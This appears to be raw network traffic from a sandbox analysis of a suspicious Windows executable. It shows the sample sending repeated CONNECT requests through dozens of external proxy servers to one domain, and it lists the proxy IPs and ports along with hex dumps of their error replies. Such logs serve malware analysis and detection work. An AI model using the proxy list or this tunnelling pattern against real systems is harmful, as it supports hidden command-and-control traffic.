Feb 23, 2024 09:45:26.943728924 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.342824936 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.944155931 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.147305965 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.377154112 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.647344112 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.147325039 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1317	192.168.2.4	50643	91.134.140.160	57320	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.557846069 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1318	192.168.2.4	53779	103.216.49.151	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.563937902 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1319	192.168.2.4	53408	192.99.169.19	8444	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.564404011 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1320	192.168.2.4	52913	104.247.164.179	55042	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.579725027 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.680643082 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1321	192.168.2.4	53277	194.233.78.142	39833	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.593408108 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.647001028 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1322	192.168.2.4	53574	186.215.87.194	6014	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.606045961 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.178615093 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.680639029 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:35.577758074 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1323	192.168.2.4	53301	191.37.155.135	5678	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.633577108 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1324	192.168.2.4	53411	163.172.169.27	16379	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.635082006 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.680643082 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.681605101 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:38.681468010 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1325	192.168.2.4	53936	129.226.92.230	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.666008949 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1326	192.168.2.4	53938	129.226.92.230	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.667326927 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1327	192.168.2.4	53939	129.226.92.230	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.668076992 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1328	192.168.2.4	53941	129.226.92.230	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.668914080 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1329	192.168.2.4	52937	178.62.229.28	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.689771891 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1330	192.168.2.4	50639	195.114.209.50	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.690685034 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.865825891 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:35.318053007 CET	835	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 23 Feb 2024 08:45:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 643 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 63 69 62 65 72 73 65 67 75 72 69 64 61 64 40 61 75 64 65 61 2e 65 73 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at ciberseguridad@audea.es to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at heygirlisheeverythingyouwantedinaman.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1331	192.168.2.4	53837	104.16.107.206	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.693965912 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.781601906 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:26 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1332	192.168.2.4	53793	102.132.50.49	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.696157932 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1333	192.168.2.4	53807	176.98.81.85	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.699498892 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1334	192.168.2.4	53810	37.46.241.247	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.700855970 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1335	192.168.2.4	53814	194.146.110.228	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.709199905 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1336	192.168.2.4	53430	12.186.205.121	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.726272106 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.852011919 CET	325	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.1 Date: Fri, 23 Feb 2024 08:45:26 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1337	192.168.2.4	53877	104.23.107.172	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.727235079 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.815259933 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:26 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1338	192.168.2.4	53811	154.236.176.28	1981	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.734028101 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.365777969 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.179017067 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.865900040 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.975332022 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.084397078 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:39.178384066 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1339	192.168.2.4	53851	18.135.211.182	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.735907078 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.895004034 CET	169	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 08:45:26 GMT Content-Type: text/plain X-Powered-By: Servlet/2.4 Server: squid/6.0.0-20220501-re899e0c27 Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1340	192.168.2.4	53671	199.58.184.97	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.746669054 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1341	192.168.2.4	53856	130.162.213.175	3129	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.761940002 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.957118988 CET	1286	IN	HTTP/1.1 500 Internal Server Error Server: squid/6.2-VCS Mime-Version: 1.0 Date: Fri, 23 Feb 2024 08:45:26 GMT Content-Type: text/html;charset=utf-8 Content-Length: 1112 X-Squid-Error: ERR_CANNOT_FORWARD 0 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 0a 0a 62 6f 64 79 0a 3a 6c 61 6e 67 28 66 61 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 30 25 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 54 61 68 6f 6d 61 2c 20 52 6f 79 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 20 7d 0a 3a 6c 61 6e 67 28 68 65 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 7d 0a 20 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 69 64 3d 45 52 52 5f 43 41 4e 4e 4f 54 5f 46 4f 52 57 41 52 44 3e 0a 3c 64 69 76 20 69 64 3d 22 74 69 74 6c 65 73 22 3e 0a 3c 68 31 3e 45 52 52 4f 52 3c 2f 68 31 3e 0a 3c 68 32 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 68 32 3e 0a 3c 2f 64 69 76 3e 0a 3c 68 72 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 70 3e 54 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 72 65 74 72 69 65 76 65 20 74 68 65 20 55 52 4c 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 2f 2a 22 3e 68 74 74 70 73 3a 2f 2f 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 2f 2a 3c 2f 61 3e 3c 2f 70 3e 0a 0a 3c 62 6c 6f 63 6b 71 75 6f 74 65 20 69 64 3d 22 65 72 72 6f 72 22 3e 0a 3c 70 3e 3c 62 3e 53 68 69 65 6c 64 20 69 73 20 75 6e 61 62 6c 65 20 74 6f 20 66 6f 72 77 61 72 64 20 79 6f 75 72 20 72 65 71 75 65 73 74 20 74 6f 20 74 68 65 20 63 6f 6e 66 69 67 75 72 65 64 20 75 70 73 74 72 65 61 6d 2e 2e 3c 2f 62 3e 3c 2f 70 3e 0a 3c 2f 62 6c 6f 63 6b 71 75 6f 74 65 3e 0a 0a 3c 70 20 69 64 3d 22 73 79 73 6d 73 67 22 3e 54 68 65 20 73 79 73 74 65 6d 20 72 65 74 75 72 6e 65 64 3a 20 3c 69 3e 50 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 2e 3c 2f 69 3e 3c 2f 70 3e 0a 3c 62 72 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 68 72 3e 0a 3c 64 69 76 20 69 64 3d 22 66 6f 6f 74 65 72 22 3e 0a 3c 70 3e 47 65 6e 65 72 61 74 65 64 20 46 72 69 2c 20 32 33 20 46 65 62 20 32 30 32 34 20 30 38 3a 34 35 3a 32 36 20 47 4d 54 20 62 79 20 45 72 69 63 6f 6d 20 28 65 73 2d 70 72 6f 78 79 2d 61 75 74 68 29 3c 2f 70 3e 0a 3c 21 2d 2d 20 45 52 52 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... body:lang(fa) { direction: rtl; font-size: 100%; font-family: Tahoma, Roya, sans-serif; float: right; }:lang(he) { direction: rtl; } --></style></head><body id=ERR_CANNOT_FORWARD><div id="titles"><h1>ERROR</h1><h2>The requested URL could not be retrieved</h2></div><hr><div id="content"><p>The following error was encountered while trying to retrieve the URL: <a href="https://heygirlisheeverythingyouwantedinaman.com/">https://heygirlisheeverythingyouwantedinaman.com/</a></p><blockquote id="error"><p><b>Shield is unable to forward your request to the configured upstream..</b></p></blockquote><p id="sysmsg">The system returned: <i>Please try again later.</i></p><br></div><hr><div id="footer"><p>Generated Fri, 23 Feb 2024 08:45:26 GMT by Ericom (es-proxy-auth)</p>... ERR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1342	192.168.2.4	53828	195.87.217.75	3389	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.780235052 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1343	192.168.2.4	53870	141.94.174.6	13718	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.780235052 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

